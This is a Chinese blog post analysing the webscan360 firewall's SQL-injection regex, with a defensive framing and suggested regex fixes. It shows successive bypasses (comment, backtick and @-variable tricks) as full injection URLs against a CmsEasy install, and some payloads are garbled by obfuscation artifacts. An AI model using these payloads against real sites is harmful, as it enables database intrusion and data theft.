当前位置: 首页 > news >正文

Webscan360的防御与绕过

menmen519 · 2014/11/06 13:51

这两天给360做了一个webscan360的总结,结果补丁还没有出来,就被人公布到了91org上面,既然公开了,那我就做一个总结

首先我们贴上它最新的防御正则

\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})\s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|\s+?[\w]+?\s+?\bin\b\s*?\(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|UPDATE@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|\/\*.*?\*\/|'
复制代码

首先我们追溯一下:

方开始的时候并没有这个正则表达式\/\*.*?\*\/|'

所以当时我们可以写为:

union select/**/1,2,3
复制代码

这里我们用cmseasy举例子

我们发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
复制代码

这时候我们是完全可以取出来敏感信息,成功绕过:

第二次被修补之后加上了后面的正则表达式,导致通篇不能写/**/这样的字符,但是这样真的能防御住吗:

我们利用mysql的一个特性:

union select`colum`,2,3 
复制代码

这种特性是完全可以执行的

所以我们改变一下思路发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
复制代码

这样就成功绕过了:

修补之后:

union select`colum`,2,3 
复制代码

这种被正则 (|'|").*?(|'|") 这个给过滤了

下载下来之后,发现正则表达式

(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
复制代码

发现这是后修补了小引号,但是本质问题还是没有变

在sql中我们还有另外一个特性:

union select@`1`,2,3
复制代码

这样也是可以执行,那么就成功绕过了:

所以我们改变一下思路发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
复制代码

此时有打了补丁,这时候正则又变成了

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
复制代码

这个正则的意思修补了刚才的那种类型,但是这个正则真正鸡肋的地方在如果不接小引号,那么这个正则就失效了

所以我们可以在进行变形处理 union [email protected],2,3这种没有被过滤,直接可以通过 这种形式的是可以在sql语句里面运行的,而且不报错

union [email protected][email protected],2,3 这种也是没有被过滤,直接可以通过,这种也是可以再mysql完美执行的

发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/ index.php?case=archive&act=orders&aid[[email protected],2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=10
复制代码

以上就是webscan360的进化,那么我们来分析一下怎么去修补这个漏洞

最后我们给出来的正则

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
复制代码

然后进行测试 成功的拦截了 union select类型的 当然了后面的update类型的 和 insert 类型也要进行相应的改进

下来让我们在看其他地方一个正则

INSERT\s+INTO.+?VALUES
复制代码

这个是太传统的写法 其实根据mysql的写法 这个会拦截insert into t values(1,2,3) 但是插入操作不止是这样的写法 insert into t set a=1 这个是不会被拦截的 所以还得加上一个正则

INSERT\s+INTO.+?(VALUES|SET)
复制代码

相关文章:

  • 装饰器
  • vue属性用法
  • netbeans 正则替换
  • Go语言学习笔记(八)golang 操作 Redis Mysql RabbitMQ
  • [转]23种设计模式全解析
  • pycharm 教程(一)安装和首次使用
  • 最优化 凸集、凸函数
  • 如何培养良好的编程风格
  • php 设计模式
  • UNDO及MVCC、崩溃恢复
  • 配置 Debian Stretch 的安装源
  • 特斯拉主动召回,有5.3万辆车刹住了之后就没法继续开走了
  • 网友恶搞,网约车细则催生“滴滴相亲”APP
  • 网络流24题5
  • 如何准备校招技术面试
  • [nginx文档翻译系列] 控制nginx
  • docker容器内的网络抓包
  • Javascripit类型转换比较那点事儿,双等号(==)
  • PHP变量
  • Python进阶细节
  • SAP云平台里Global Account和Sub Account的关系
  • Vue.js 移动端适配之 vw 解决方案
  • vue总结
  • 漂亮刷新控件-iOS
  • 视频flv转mp4最快的几种方法(就是不用格式工厂)
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 数组的操作
  • 探索 JS 中的模块化
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • ​configparser --- 配置文件解析器​
  • (C语言)求出1,2,5三个数不同个数组合为100的组合个数
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (二)WCF的Binding模型
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (附源码)ssm码农论坛 毕业设计 231126
  • (四)linux文件内容查看
  • (五)关系数据库标准语言SQL
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (原創) 如何將struct塞進vector? (C/C++) (STL)
  • (转)h264中avc和flv数据的解析
  • (转)大道至简,职场上做人做事做管理
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • . NET自动找可写目录
  • .NET 命令行参数包含应用程序路径吗?
  • .net解析传过来的xml_DOM4J解析XML文件
  • .project文件
  • //解决validator验证插件多个name相同只验证第一的问题
  • ::
  • [ 常用工具篇 ] AntSword 蚁剑安装及使用详解
  • [100天算法】-目标和(day 79)
  • [2023-年度总结]凡是过往,皆为序章
  • [Angularjs]asp.net mvc+angularjs+web api单页应用之CRUD操作